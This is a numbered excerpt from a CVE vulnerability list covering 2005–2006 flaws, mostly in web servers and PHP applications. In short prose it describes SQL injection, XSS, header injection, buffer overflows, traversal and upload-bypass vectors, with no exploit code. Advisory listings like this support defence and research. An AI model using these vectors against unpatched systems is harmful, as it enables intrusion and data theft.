13003| [CVE-2006-3070] write_ok.php in Zeroboard 4.1 pl8, when installed on Apache with mod_mime, allows remote attackers to bypass restrictions for uploading files with executable extensions by uploading a .htaccess file that with an AddType directive that assigns an executable module to files with assumed-safe extensions, as demonstrated by assigning the txt extension to be handled by application/x-httpd-php.
13004| [CVE-2006-3064] SQL injection vulnerability in the add_hit function in include/function.inc.php in Coppermine Photo Gallery (CPG) 1.4.8, when "Keep detailed hit statistics" is enabled, allows remote attackers to execute arbitrary SQL commands via the (1) referer and (2) user-agent HTTP headers.
13005| [CVE-2006-3053] ** DISPUTED ** PHP remote file inclusion vulnerability in common.php in PHORUM 5.1.13 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the PHORUM[http_path] parameter. NOTE: this issue has been disputed by the vendor, who states "common.php is checked on the very first line of non-comment code that it is not being called directly. It has been this way in all 5.x version of Phorum." CVE analysis concurs with the vendor.
13006| [CVE-2006-3019] Multiple PHP remote file inclusion vulnerabilities in phpCMS 1.2.1pl2 allow remote attackers to execute arbitrary PHP code via a URL in the PHPCMS_INCLUDEPATH parameter to files in parser/include/ including (1) class.parser_phpcms.php, (2) class.session_phpcms.php, (3) class.edit_phpcms.php, (4) class.http_indexer_phpcms.php, (5) class.cache_phpcms.php, (6) class.search_phpcms.php, (7) class.lib_indexer_universal_phpcms.php, and (8) class.layout_phpcms.php, (9) parser/plugs/counter.php, and (10) parser/parser.php. NOTE: the class.cache_phpcms.php vector was also reported to affect 1.1.7.
13007| [CVE-2006-3016] Unspecified vulnerability in session.c in PHP before 5.1.3 has unknown impact and attack vectors, related to "certain characters in session names," including special characters that are frequently associated with CRLF injection, SQL injection, cross-site scripting (XSS), and HTTP response splitting vulnerabilities. NOTE: while the nature of the vulnerability is unspecified, it is likely that this is related to a violation of an expectation by PHP applications that the session name is alphanumeric, as implied in the PHP manual for session_name().
13008| [CVE-2006-2926] Stack-based buffer overflow in the WWW Proxy Server of Qbik WinGate 6.1.1.1077 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long URL HTTP request.
13009| [CVE-2006-2902] Directory traversal vulnerability in Particle Links 1.2.2 might allow remote attackers to access arbitrary files via ".." sequences in an HTTP request. NOTE: it is not clear whether this issue is legitimate, as the original researcher seems unsure.
13010| [CVE-2006-2830] Buffer overflow in TIBCO Rendezvous before 7.5.1, TIBCO Runtime Agent (TRA) before 5.4, and Hawk before 4.6.1 allows remote attackers to cause a denial of service and possibly execute arbitrary code via the HTTP administrative interface.
13011| [CVE-2006-2802] Buffer overflow in the HTTP Plugin (xineplug_inp_http.so) for xine-lib 1.1.1 allows remote attackers to cause a denial of service (application crash) via a long reply from an HTTP server, as demonstrated using gxine 0.5.6.
13012| [CVE-2006-2795] Multiple cross-site scripting (XSS) vulnerabilities in XiTi Tracking Script 6 and 7 RC allow remote attackers to inject arbitrary web script or HTML via (1) the xtref parameter in xiti.js and (2) an HTTP Referer header field. NOTE: the provenance of this information is unknown
13013| [CVE-2006-2786] HTTP response smuggling vulnerability in Mozilla Firefox and Thunderbird before 1.5.0.4, when used with certain proxy servers, allows remote attackers to cause Firefox to interpret certain responses as if they were responses from two different sites via (1) invalid HTTP response headers with spaces between the header name and the colon, which might not be ignored in some cases, or (2) HTTP 1.1 headers through an HTTP 1.0 proxy, which are ignored by the proxy but processed by the client.
13014| [CVE-2006-2769] The HTTP Inspect preprocessor (http_inspect) in Snort 2.4.0 through 2.4.4 allows remote attackers to bypass "uricontent" rules via a carriage return (\r) after the URL and before the HTTP declaration.
13015| [CVE-2006-2702] vars.php in WordPress 2.0.2, possibly when running on Mac OS X, allows remote attackers to spoof their IP address via a PC_REMOTE_ADDR HTTP header, which vars.php uses to redefine $_SERVER['REMOTE_ADDR'].
13016| [CVE-2006-2658] Directory traversal vulnerability in the xsp component in mod_mono in Mono/C# web server, as used in SUSE Open-Enterprise-Server 1 and SUSE Linux 9.2 through 10.0, allows remote attackers to read arbitrary files via a .. (dot dot) sequence in an HTTP request.
13017| [CVE-2006-2634] Cross-site scripting (XSS) vulnerability in Neocrome Land Down Under (LDU) in Neocrome Seditio 102 allows remote attackers to inject arbitrary web script or HTML via an HTTP Referer field.
13018| [CVE-2006-2587] Buffer overflow in the WebTool HTTP server component in (1) PunkBuster before 1.229, as used by multiple products including (2) America's Army 1.228 and earlier, (3) Battlefield 1942 1.158 and earlier, (4) Battlefield 2 1.184 and earlier, (5) Battlefield Vietnam 1.150 and earlier, (6) Call of Duty 1.173 and earlier, (7) Call of Duty 2 1.108 and earlier, (8) DOOM 3 1.159 and earlier, (9) Enemy Territory 1.167 and earlier, (10) Far Cry 1.150 and earlier, (11) F.E.A.R. 1.093 and earlier, (12) Joint Operations 1.187 and earlier, (13) Quake III Arena 1.150 and earlier, (14) Quake 4 1.181 and earlier, (15) Rainbow Six 3: Raven Shield 1.169 and earlier, (16) Rainbow Six 4: Lockdown 1.093 and earlier, (17) Return to Castle Wolfenstein 1.175 and earlier, and (18) Soldier of Fortune II 1.183 and earlier allows remote attackers to cause a denial of service (application crash) via a long webkey parameter.
13019| [CVE-2006-2586] Cross-site scripting (XSS) vulnerability in IpLogger 1.7 and earlier allows remote attackers to inject arbitrary HTML or web script via the HTTP_REFERER header in an HTTP request.
13020| [CVE-2006-2558] Cross-site scripting (XSS) vulnerability in IpLogger 1.7 and earlier allows remote attackers to inject arbitrary HTML or web script via the User-Agent (useragent) header in an HTTP request, which is not filtered when the log files are viewed.
13021| [CVE-2006-2531] Ipswitch WhatsUp Professional 2006 only verifies the users identity via HTTP headers, which allows remote attackers to spoof being a trusted console and bypass authentication by setting HTTP User-Agent header to "Ipswitch/1.0" and the User-Application header to "NmConsole".
13022| [CVE-2006-2489] Integer overflow in CGI scripts in Nagios 1.x before 1.4.1 and 2.x before 2.3.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a content length (Content-Length) HTTP header. NOTE: this is a different vulnerability than CVE-2006-2162.
13023| [CVE-2006-2478] Bitrix Site Manager 4.1.x allows remote attackers to redirect users to other websites via a modified back_url during a HTTP POST request. NOTE: this issue has been referred to as "cross-site scripting," but that is inconsistent with the common use of the term.
13024| [CVE-2006-2469] The HTTP handlers in BEA WebLogic Server 9.0, 8.1 up to SP5, 7.0 up to SP6, and 6.1 up to SP7 stores the username and password in cleartext in the WebLogic Server log when access to a web application or protected JWS fails, which allows attackers to gain privileges.
13025| [CVE-2006-2429] Unspecified vulnerability in IBM WebSphere Application Server 6.0.2, 6.0.2.1, 6.0.2.3, 6.0.2.5, and 6.0.2.7 has unknown impact and remote attack vectors related to "HTTP request handlers".
13026| [CVE-2006-2341] The HTTP proxy in Symantec Gateway Security 5000 Series 2.0.1 and 3.0, and Enterprise Firewall 8.0, when NAT is being used, allows remote attackers to determine internal IP addresses by using malformed HTTP requests, as demonstrated using a get request without a space separating the URI.
13027| [CVE-2006-2340] Cross-site scripting (XSS) vulnerability in PassMasterFlex and PassMasterFlexPlus (PassMasterFlex+) 1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the (1) username, (2) password, or (3) User-Agent HTTP header in the Hack Log.
13028| [CVE-2006-2330] PHP-Fusion 6.00.306 and earlier, running under Apache HTTP Server 1.3.27 and PHP 4.3.3, allows remote authenticated users to upload files of arbitrary types using a filename that contains two or more extensions that ends in an assumed-valid extension such as .gif, which bypasses the validation, as demonstrated by uploading then executing an avatar file that ends in ".php.gif" and contains PHP code in EXIF metadata.
13029| [CVE-2006-2309] The HTTP service in EServ/3 3.25 allows remote attackers to obtain sensitive information via crafted HTTP requests containing dot, space, and slash characters, which reveals the source code of script files.
13030| [CVE-2006-2222] Buffer overflow in zawhttpd 0.8.23, and possibly previous versions, allows remote attackers to cause a denial of service (daemon crash) via a request for a URI composed of several "\" (backslash) characters.
13031| [CVE-2006-2166] Unspecified vulnerability in the HTTP management interface in Cisco Unity Express (CUE) 2.2(2) and earlier, when running on any CUE Advanced Integration Module (AIM) or Network Module (NM), allows remote authenticated attackers to reset the password for any user with an expired password.
13032| [CVE-2006-2162] Buffer overflow in CGI scripts in Nagios 1.x before 1.4 and 2.x before 2.3 allows remote attackers to execute arbitrary code via a negative content length (Content-Length) HTTP header.
13033| [CVE-2006-2131] include/class_poll.php in Advanced Poll 2.0.4 uses the HTTP_X_FORWARDED_FOR (X-Forwarded-For HTTP header) to identify the IP address of a client, which makes it easier for remote attackers to spoof the source IP and bypass voting restrictions.
13034| [CVE-2006-2130] SQL injection vulnerability in include/class_poll.php in Advanced Poll 2.0.4 allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
13035| [CVE-2006-2113] The embedded HTTP server in Fuji Xerox Printing Systems (FXPS) print engine, as used in products including (1) Dell 3000cn through 5110cn and (2) Fuji Xerox DocuPrint firmware before 20060628 and Network Option Card firmware before 5.13, does not properly perform authentication for HTTP requests, which allows remote attackers to modify system configuration via crafted requests, including changing the administrator password or causing a denial of service to the print server.
13036| [CVE-2006-2023] Integer overflow in the RTSP_msg_len function in rtsp/RTSP_msg_len.c in Fenice 1.10 and earlier allows remote attackers to cause a denial of service (application crash) via a large HTTP Content-Length value, which leads to an invalid memory access.
13037| [CVE-2006-1989] Buffer overflow in the get_database function in the HTTP client in Freshclam in ClamAV 0.80 to 0.88.1 might allow remote web servers to execute arbitrary code via long HTTP headers.
13038| [CVE-2006-1931] The HTTP/XMLRPC server in Ruby before 1.8.2 uses blocking sockets, which allows attackers to cause a denial of service (blocked connections) via a large amount of data.
13039| [CVE-2006-1828] SQL injection vulnerability in php121language.php in PHP121 1.4 allows remote attackers to execute arbitrary SQL commands and execute arbitrary code via the sess_username variable, as set by the php121un HTTP COOKIE parameter, which is used in multiple files including php121login.php. NOTE: the code execution occurs because the SQL query results are used in an include statement.
13040| [CVE-2006-1787] Adobe Document Server for Reader Extensions 6.0 includes a user's session (jsession) ID in the HTTP Referer header, which allows remote attackers to gain access to PDF files that are being processed within that session.
13041| [CVE-2006-1785] Adobe Document Server for Reader Extensions 6.0 allows remote authenticated users to inject arbitrary web script via a leading (1) ftp or (2) http URI in the ReaderURL variable in the "Update Download Site" section of ads-readerext. NOTE: it is not clear whether the vendor advisory addresses this issue. In addition, since the issue requires administrative privileges to exploit, it is not clear whether this crosses security boundaries.
13042| [CVE-2006-1774] HP System Management Homepage (SMH) 2.1.3.132, when running on CompaqHTTPServer/9.9 on Windows, Linux, or Tru64 UNIX, and when "Trust by Certificates" is not enabled, allows remote attackers to bypass authentication via a crafted URL.
13043| [CVE-2006-1714] CRLF injection vulnerability in index.php in Christoph Roeder phpMyForum 4.0 allows remote attackers to inject HTTP headers via hex-encoded CRLF sequences in the type parameter.
13044| [CVE-2006-1681] Cross-site scripting (XSS) vulnerability in Cherokee HTTPD 0.5 and earlier allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated.
13045| [CVE-2006-1672] The installation of Cisco Transport Controller (CTC) for Cisco Optical Networking System (ONS) 15000 series nodes adds a Java policy file entry with a wildcard that grants the java.security.AllPermission permission to any http URL containing "fs/LAUNCHER.jar", which allows remote attackers to execute arbitrary code on a CTC workstation, aka bug ID CSCea25049.
13046| [CVE-2006-1654] Directory traversal vulnerability in the HP Color LaserJet 2500 Toolbox and Color LaserJet 4600 Toolbox on Microsoft Windows before 20060402 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request to TCP port 5225.
13047| [CVE-2006-1645] Cross-site scripting (XSS) vulnerability in Anton Vlasov and Rostislav Gaitkuloff ReloadCMS 1.2.5 and earlier allows remote attackers to inject arbitrary web script or HTML and gain leverage to execute arbitrary PHP code via the User-Agent HTTP header, which is displayed by admin/modules/general/statistic.php in the administration panel.
13048| [CVE-2006-1631] Unspecified vulnerability in the HTTP compression functionality in Cisco CSS 11500 Series Content Services switches allows remote attackers to cause a denial of service (device reload) via (1) "valid, but obsolete" or (2) "specially crafted" HTTP requests.
13049| [CVE-2006-1619] IBM WebSphere Application Server 4.0.1 through 4.0.3 allows remote attackers to cause a denial of service (application crash) via an HTTP request with a large header.
13050| [CVE-2006-1598] AN HTTPD 1.42n, and possibly other versions before 1.42p, allows remote attackers to obtain source code of scripts via crafted requests with (1) dot and (2) space characters in the file extension.
13051| [CVE-2006-1351] BEA WebLogic Server 6.1 SP7 and earlier allows remote attackers to read arbitrary files via unknown attack vectors related to a "default internal servlet" accessed through HTTP.
13052| [CVE-2006-1339] Directory traversal vulnerability in inc/functions.inc.php in CuteNews 1.4.1 and possibly other versions, when register_globals is enabled, allows remote attackers to include arbitrary files via a .. (dot dot) sequence and trailing NULL (%00) byte in the archive parameter in an HTTP POST or COOKIE request, which bypasses a sanity check that is only applied to a GET request.
13053| [CVE-2006-1282] CRLF injection vulnerability in inc/function.php in MyBulletinBoard (MyBB) 1.04 allows remote attackers to conduct cross-site scripting (XSS), poison caches, or hijack pages via CRLF (%0A%0D) sequences in the Referrer HTTP header field, possibly when redirecting to other web pages.
13054| [CVE-2006-1234] SQL injection vulnerability in index.php in DSCounter 1.2, with magic_quotes_gpc disabled, allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For field (HTTP_X_FORWARDED_FOR environment variable) in an HTTP header.
13055| [CVE-2006-1218] Unspecified vulnerability in the HTTP proxy in Novell BorderManager 3.8 and earlier allows remote attackers to cause a denial of service (CPU consumption and ABEND) via unknown attack vectors related to "media streaming over HTTP 1.1".
13056| [CVE-2006-1159] Format string vulnerability in Easy File Sharing (EFS) Web Server 3.2 allows remote attackers to cause a denial of service (server crash) and possibly execute arbitrary code via format string specifiers in the query string argument in an HTTP GET request.
13057| [CVE-2006-1148] Multiple stack-based buffer overflows in the procConnectArgs function in servmgr.cpp in PeerCast before 0.1217 allow remote attackers to execute arbitrary code via an HTTP GET request with a long (1) parameter name or (2) value in a URL, which triggers the overflow in the nextCGIarg function in servhs.cpp.
13058| [CVE-2006-1127] Cross-site scripting (XSS) vulnerability in Gallery 2 up to 2.0.2 allows remote attackers to inject arbitrary web script or HTML via the X-Forwarded-For (X_FORWARDED_FOR) HTTP header, which is not properly handled when adding a comment to an album.
13059| [CVE-2006-1126] Gallery 2 up to 2.0.2 allows remote attackers to spoof their IP address via a modified X-Forwarded-For (X_FORWARDED_FOR) HTTP header, which is checked by Gallery before other more reliable sources of IP address information, such as REMOTE_ADDR.
13060| [CVE-2006-1084] Multiple SQL injection vulnerabilities in PHP-Stats 0.1.9.1 and earlier allow remote attackers to execute arbitrary SQL commands via (1) the option[prefix] parameter in admin.php and other unspecified PHP scripts, and (2) the PC_REMOTE_ADDR HTTP header to click.php.
13061| [CVE-2006-1079] htpasswd, as used in Acme thttpd 2.25b and possibly other products such as Apache, might allow local users to gain privileges via shell metacharacters in a command line argument, which is used in a call to the system function. NOTE: since htpasswd is normally installed as a non-setuid program, and the exploit is through command line options, perhaps this issue should not be included in CVE. However, if there are some typical or recommended configurations that use htpasswd with sudo privileges, or common products that access htpasswd remotely, then perhaps it should be included.
13062| [CVE-2006-1078] Multiple buffer overflows in htpasswd, as used in Acme thttpd 2.25b, and possibly other products such as Apache, might allow local users to gain privileges via (1) a long command line argument and (2) a long line in a file. NOTE: since htpasswd is normally installed as a non-setuid program, and the exploit is through command line options, perhaps this issue should not be included in CVE. However, if there are some typical or recommended configurations that use htpasswd with sudo privileges, or common products that access htpasswd remotely, then perhaps it should be included.
13063| [CVE-2006-1039] SAP Web Application Server (WebAS) Kernel before 7.0 allows remote attackers to inject arbitrary bytes into the HTTP response and obtain sensitive authentication information, or have other impacts, via a "
13064| [CVE-2006-1012] SQL injection vulnerability in WordPress 1.5.2, and possibly other versions before 2.0, allows remote attackers to execute arbitrary SQL commands via the User-Agent field in an HTTP header for a comment.
13065| [CVE-2006-0957] Direct static code injection vulnerability in func.inc.php in ZoneO-Soft freeForum before 1.2.1 allows remote attackers to execute arbitrary PHP code via the (1) X-Forwarded-For and (2) Client-Ip HTTP headers, which are stored in Data/flood.db.php.
13066| [CVE-2006-0949] RaidenHTTPD 1.1.47 allows remote attackers to obtain source code of script files, including PHP, via crafted requests involving (1) "." (dot), (2) space, and (3) "/" (slash) characters.
13067| [CVE-2006-0917] Melange Chat Server (aka M-Chat), when accessed via a web browser, automatically sends cookies and other sensitive information for a server to any port specified in the associated link, which allows local users on that server to read the cookies from HTTP headers and possibly gain sensitive information, such as credentials, by setting up a listening port and reading the credentials when the victim clicks on the link.
13068| [CVE-2006-0896] Cross-site scripting (XSS) vulnerability in Sources/Register.php in Simple Machine Forum (SMF) 1.0.6 allows remote attackers to inject arbitrary web script or HTML via the X-Forwarded-For HTTP header field.
13069| [CVE-2006-0864] filescan in Global Hauri ViRobot 2.0 20050817 does not verify the Cookie HTTP header, which allows remote attackers to gain administrative privileges via an arbitrary cookie value.
13070| [CVE-2006-0860] Multiple cross-site scripting (XSS) vulnerabilities in Michael Salzer Guestbox 0.6, and other versions before 0.8, allow remote attackers to inject arbitrary web script or HTML via (1) HTML tags that follow a "http://" string, which bypasses a regular expression check, and (2) other unspecified attack vectors.
13071| [CVE-2006-0852] Direct static code injection vulnerability in write.php in Admbook 1.2.2 and earlier allows remote attackers to execute arbitrary PHP code via the X-Forwarded-For HTTP header field, which is inserted into content-data.php.
13072| [CVE-2006-0846] Multiple cross-site scripting (XSS) vulnerabilities in Leif M. Wright's Blog 3.5 allow remote attackers to inject arbitrary web script or HTML via the (1) Referer and (2) User-Agent HTTP headers, which are stored in a log file and not sanitized when the administrator views the "Log" page, possibly using the ViewCommentsLog function.
13073| [CVE-2006-0829] Cross-site scripting vulnerability in E-Blah Platinum 9.7 allows remote attackers to inject arbitrary web script or HTML via the referer (HTTP_REFERER), which is not sanitized when the log file is viewed by the administrator using "Click Log".
13074| [CVE-2006-0820] Cross-site scripting (XSS) vulnerability in Dwarf HTTP Server 1.3.2 allows remote attackers to inject arbitrary web script or HTML via unspecified error messages.
13075| [CVE-2006-0819] Dwarf HTTP Server 1.3.2 allows remote attackers to obtain the source code of JSP files via (1) dot, (2) space, (3) slash, or (4) NULL characters in the filename extension of an HTTP request.
13076| [CVE-2006-0814] response.c in Lighttpd 1.4.10 and possibly previous versions, when run on Windows, allows remote attackers to read arbitrary source code via requests that contain trailing (1) "." (dot) and (2) space characters, which are ignored by Windows, as demonstrated by PHP files.
13077| [CVE-2006-0805] The CAPTCHA functionality in php-Nuke 6.0 through 7.9 uses fixed challenge/response pairs that only vary once per day based on the User Agent (HTTP_USER_AGENT), which allows remote attackers to bypass CAPTCHA controls by fixing the User Agent, performing a valid challenge/response, then replaying that pair in the random_num and gfx_check parameters.
13078| [CVE-2006-0786] Incomplete blacklist vulnerability in include.php in PHPKIT 1.6.1 Release 2 and earlier, with allow_url_fopen enabled, allows remote attackers to conduct PHP remote file include attacks via a path parameter that specifies a (1) UNC share or (2) ftps URL, which bypasses the check for "http://", "ftp://", and "https://" URLs.
13079| [CVE-2006-0784] D-Link DWL-G700AP with firmware 2.00 and 2.01 allows remote attackers to cause a denial of service (CAMEO HTTP service crash) via a request composed of "GET" followed by a space and two newlines, possibly triggering the crash due to missing arguments.
13080| [CVE-2006-0760] LightTPD 1.4.8 and earlier, when the web root is on a case-insensitive filesystem, allows remote attackers to bypass URL checks and obtain sensitive information via file extensions with unexpected capitalization, as demonstrated by a request for index.PHP when the configuration invokes the PHP interpreter only for ".php" names.
13081| [CVE-2006-0707] PyBlosxom before 1.3.2, when running on certain webservers, allows remote attackers to read arbitrary files via an HTTP request with multiple leading / (slash) characters, which is accessed using the PATH_INFO variable.
13082| [CVE-2006-0627] Cross-site scripting (XSS) vulnerability in Clever Copy 2.0, 2.0a, and 3.0 allows remote attackers to inject arbitrary web script or HTML via the (1) Referer or (2) X-Forwarded-For headers in an HTTP request, which are not properly handled when the administrator accesses Site Stats.
13083| [CVE-2006-0515] Cisco PIX/ASA 7.1.x before 7.1(2) and 7.0.x before 7.0(5), PIX 6.3.x before 6.3.5(112), and FWSM 2.3.x before 2.3(4) and 3.x before 3.1(7), when used with Websense/N2H2, allows remote attackers to bypass HTTP access restrictions by splitting the GET method of an HTTP request into multiple packets, which prevents the request from being sent to Websense for inspection, aka bugs CSCsc67612, CSCsc68472, and CSCsd81734.
13084| [CVE-2006-0495] Cross-site scripting (XSS) vulnerability in the Add Thread to Favorites feature in usercp2.php in MyBB (aka MyBulletinBoard) 1.02 allows remote attackers to inject arbitrary web script or HTML via an HTTP Referer header ($url variable).
13085| [CVE-2006-0483] Cisco VPN 3000 series concentrators running software 4.7.0 through 4.7.2.A allow remote attackers to cause a denial of service (device reload or user disconnect) via a crafted HTTP packet.
13086| [CVE-2006-0461] Cross-site scripting (XSS) vulnerability in core.input.php in ExpressionEngine 1.4.1 allows remote attackers to inject arbitrary web script or HTML via HTTP_REFERER (referer).
13087| [CVE-2006-0388] Safari in Mac OS X 10.3 before 10.3.9 and 10.4 before 10.4.5 allows remote attackers to redirect users to local files and execute arbitrary JavaScript via unspecified vectors involving HTTP redirection to local resources.
13088| [CVE-2006-0362] TippingPoint Intrusion Prevention System (IPS) TOS before 2.1.4.6324, and TOS 2.2.x before 2.2.1.6506, allow remote attackers to cause a denial of service (CPU consumption) via an unknown vector, probably involving an HTTP request with a negative number in the Content-Length header.
13089| [CVE-2006-0342] RockLiffe MailSite HTTP Mail management agent (httpma) 7.0.3.1 allows remote attackers to cause a denial of service (CPU consumption and crash) via a malformed query string containing special characters such as "|".
13090| [CVE-2006-0287] Unspecified vulnerability in the Oracle HTTP Server component of Oracle Database Server 10.1.0.5 and Application Server 10.1.2.0.2 has unspecified impact and attack vectors, as identified by Oracle Vuln# OHS02.
13091| [CVE-2006-0286] Unspecified vulnerability in the Oracle HTTP Server component of Oracle Database Server 9.0.1.5, 9.0.1.5 FIPS, 9.2.0.7, and 10.1.0.5, and Application Server 1.0.2.2, 9.0.4.2, and 10.1.2.0.2, has unspecified impact and attack vectors, as identified by Oracle Vuln# OHS01.
13092| [CVE-2006-0248] Virata-EmWeb web server 6_1_0, as used in (1) Intracom JetSpeed 500 and 520 and (2) Allied Data Technologies CopperJet 811 RouterPlus, allows remote attackers to access privileged information, such as user lists and configuration settings, via direct HTTP requests.
13093| [CVE-2006-0207] Multiple HTTP response splitting vulnerabilities in PHP 5.1.1 allow remote attackers to inject arbitrary HTTP headers via a crafted Set-Cookie header, related to the (1) session extension (aka ext/session) and the (2) header function.
13094| [CVE-2006-0201] Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php.
13095| [CVE-2006-0084] Cross-site scripting vulnerability in index.php in raSMP 2.0.0 and earlier allows remote attackers to inject arbitrary web script or HTML via the $_SERVER[HTTP_USER_AGENT] variable (User-Agent header).
13096| [CVE-2006-0081] ialmnt5.sys in the ialmrnt5 display driver in Intel Graphics Accelerator Driver 6.14.10.4308 allows attackers to cause a denial of service (crash or screen resolution change) via a long text field, as demonstrated using a long window title.
13097| [CVE-2006-0051] Buffer overflow in playlistimport.cpp in Kaffeine Player 0.4.2 through 0.7.1 allows user-assisted attackers to execute arbitrary code via long HTTP request headers when Kaffeine is "fetching remote playlists", which triggers the overflow in the http_peek function.
13098| [CVE-2005-4874] The XMLHttpRequest object in Mozilla 1.7.8 supports the HTTP TRACE method, which allows remote attackers to obtain (1) proxy authentication passwords via a request with a "Max-Forwards: 0" header or (2) arbitrary local passwords on the web server that hosts this object.
13099| [CVE-2005-4857] eZ publish 3.5 before 3.5.7, 3.6 before 3.6.5, 3.7 before 3.7.3, and 3.8 before 20051128 allows remote authenticated users to cause a denial of service (Apache httpd segmentation fault) via a request to content/advancedsearch.php with an empty SearchContentClassID parameter, reportedly related to a "memory addressing error".
13100| [CVE-2005-4836] The HTTP/1.1 connector in Apache Tomcat 4.1.15 through 4.1.40 does not reject NULL bytes in a URL when allowLinking is configured, which allows remote attackers to read JSP source files and obtain sensitive information.
13101| [CVE-2005-4830] CRLF injection vulnerability in viewcvs in ViewCVS 0.9.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the content-type parameter.
13102| [CVE-2005-4827] Internet Explorer 6.0, and possibly other versions, allows remote attackers to bypass the same origin security policy and make requests outside of the intended domain by calling open on an XMLHttpRequest object (Microsoft.XMLHTTP) and using tab, newline, and carriage return characters within the first argument (method name), which is supported by some proxy servers that convert tabs to spaces. NOTE: this issue can be leveraged to conduct referer spoofing, HTTP Request Smuggling, and other attacks.
13103| [CVE-2005-4823] Buffer overflow in the HP HTTP Server 5.0 through 5.95 of the HP Web-enabled Management Software allows remote attackers to execute arbitrary code via unknown vectors.
13104| [CVE-2005-4814] Unrestricted file upload vulnerability in Segue CMS before 1.3.6, when the Apache HTTP Server handles .phtml files with the PHP interpreter, allows remote attackers to upload and execute arbitrary PHP code by placing .phtml files in the userfiles/ directory.
13105| [CVE-2005-4810] Microsoft Internet Explorer 7.0 Beta3 and earlier allows remote attackers to cause a denial of service (crash) via a "text/html" HTML Content-type header sent in response to an XMLHttpRequest (AJAX).
13106| [CVE-2005-4758] Unspecified vulnerability in the Administration server in BEA WebLogic Server and WebLogic Express 8.1 SP3 and earlier allows remote authenticated Admin users to read arbitrary files via unknown attack vectors related to an "internal servlet" accessed through HTTP.
13107| [CVE-2005-4749] HTTP request smuggling vulnerability in BEA WebLogic Server and WebLogic Express 8.1 SP4 and earlier, 7.0 SP6 and earlier, and 6.1 SP7 and earlier allows remote attackers to inject arbitrary HTTP headers via unspecified attack vectors.
13108| [CVE-2005-4731] The Next action in PEAR HTML_QuickForm_Controller 1.0.4 includes the SID in the URL even when session.use_only_cookies is configured, which allows remote attackers to obtain the SID via an HTTP Referer field and possibly other vectors.
13109| [CVE-2005-4727] Cross-site scripting (XSS) vulnerability in gbook.cgi in gBook before 1.0.2 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header field.
13110| [CVE-2005-4724] SQL injection vulnerability in post.php in PhpTagCool 1.0.3 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For field in an HTTP header.
13111| [CVE-2005-4712] CRLF injection vulnerability in process_signup.php in PHP Handicapper allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in the login parameter. NOTE: the vendor has disputed CVE-2005-3497, and it is possible that the dispute was intended to include this issue as well.
13112| [CVE-2005-4711] SQL injection vulnerability in Neocrome Land Down Under (LDU) 801 allows remote attackers to execute arbitrary SQL commands via an HTTP Referer header. NOTE: the provenance of this information is unknown
13113| [CVE-2005-4687] PunBB 1.2.9, used alone or with F-ART BLOG:CMS, may trust a client's IP address as specified in the X-Forwarded-For HTTP header rather than the TCP/IP stack, which allows remote attackers to misrepresent their IP address by sending a modified header.
13114| [CVE-2005-4579] Multiple HTTP response splitting vulnerabilities in Hitachi Business Logic - Container (BLC) P-2443-9114 01-00 through 02-06 on Windows, and P-1M43-9111 01-01 through 02-00 on AIX, allow remote attackers to inject arbitrary HTTP headers via unknown attack vectors in an unspecified input form.
13115| [CVE-2005-4559] mail/include.html in IceWarp Web Mail 5.5.1, as used by Merak Mail Server 8.3.0r and VisNetic Mail Server version 8.3.0 build 1, does not properly initialize the default_layout and layout_settings variables when an unrecognized HTTP_USER_AGENT string is provided, which allows remote attackers to access arbitrary files via a request with an unrecognized User Agent that also specifies the desired default_layout and layout_settings parameters.
13116| [CVE-2005-4521] CRLF injection vulnerability in Mantis 1.0.0rc3 and earlier allows remote attackers to modify HTTP headers and conduct HTTP response splitting attacks via (1) the return parameter in login_cookie_test.php and (2) ref parameter in login_select_proj_page.php.
13117| [CVE-2005-4503] httprint v202, and possibly other versions before v301, allows remote attackers to cause a denial of service (crash) via a long Server field in an HTTP response.
13118| [CVE-2005-4502] Cross-site scripting (XSS) vulnerability in httprint v202, and possibly other versions before v301, allows remote attackers to inject arbitrary web script or HTML via the Server field in an HTTP response, which is not sanitized before being displayed to the user.
13119| [CVE-2005-4296] AppServ Open Project 2.5.3 allows remote attackers to cause a denial of service via a large HTTP request.
13120| [CVE-2005-4270] Buffer overflow in Watchfire AppScan QA 5.0.609 and 5.0.134 allows remote web servers to execute arbitrary code via an HTTP 401 response with a WWW-Authenticate header containing a long Realm field.
13121| [CVE-2005-4147] The TCLHTTPd service in Lyris ListManager before 8.9b allows remote attackers to obtain source code for arbitrary .tml (TCL) files via (1) a request with a trailing null byte (%00), which might also require (2) an authentication bypass step that involves a username with a trailing "@" characters.
13122| [CVE-2005-4146] Lyris ListManager before 8.9b allows remote attackers to obtain sensitive information via a request to the TCLHTTPd status module, which provides sensitive server configuration information.
13123| [CVE-2005-4030] SQL injection vulnerability in Quicksilver Forums before 1.5.1 allows remote attackers to execute arbitrary SQL commands via the HTTP_USER_AGENT header.
13124| [CVE-2005-4012] Multiple cross-site scripting (XSS) vulnerabilities in PHP Web Statistik 1.4 allows remote attackers to inject arbitrary web script or HTML via (1) the lastnumber parameter to stat.php and (2) the HTTP referer to pixel.php.
13125| [CVE-2005-3992] Multiple buffer overflows in WinEggDropShell remote access trojan (RAT) 1.7 allow remote attackers to execute arbitrary code via (1) a long GET request to the HTTP server, or a long (2) USER or (3) PASS command to the FTP server.
13126| [CVE-2005-3982] CRLF injection vulnerability in layers_toggle.php in WebCalendar 1.0.1 might allow remote attackers to modify HTTP headers and conduct HTTP response splitting attacks via the ret parameter, which is used to redirect URL requests.
13127| [CVE-2005-3931] SQL injection vulnerability in default.asp in ASP-Rider 1.6 allows remote attackers to execute arbitrary SQL commands via the HTTP referer.
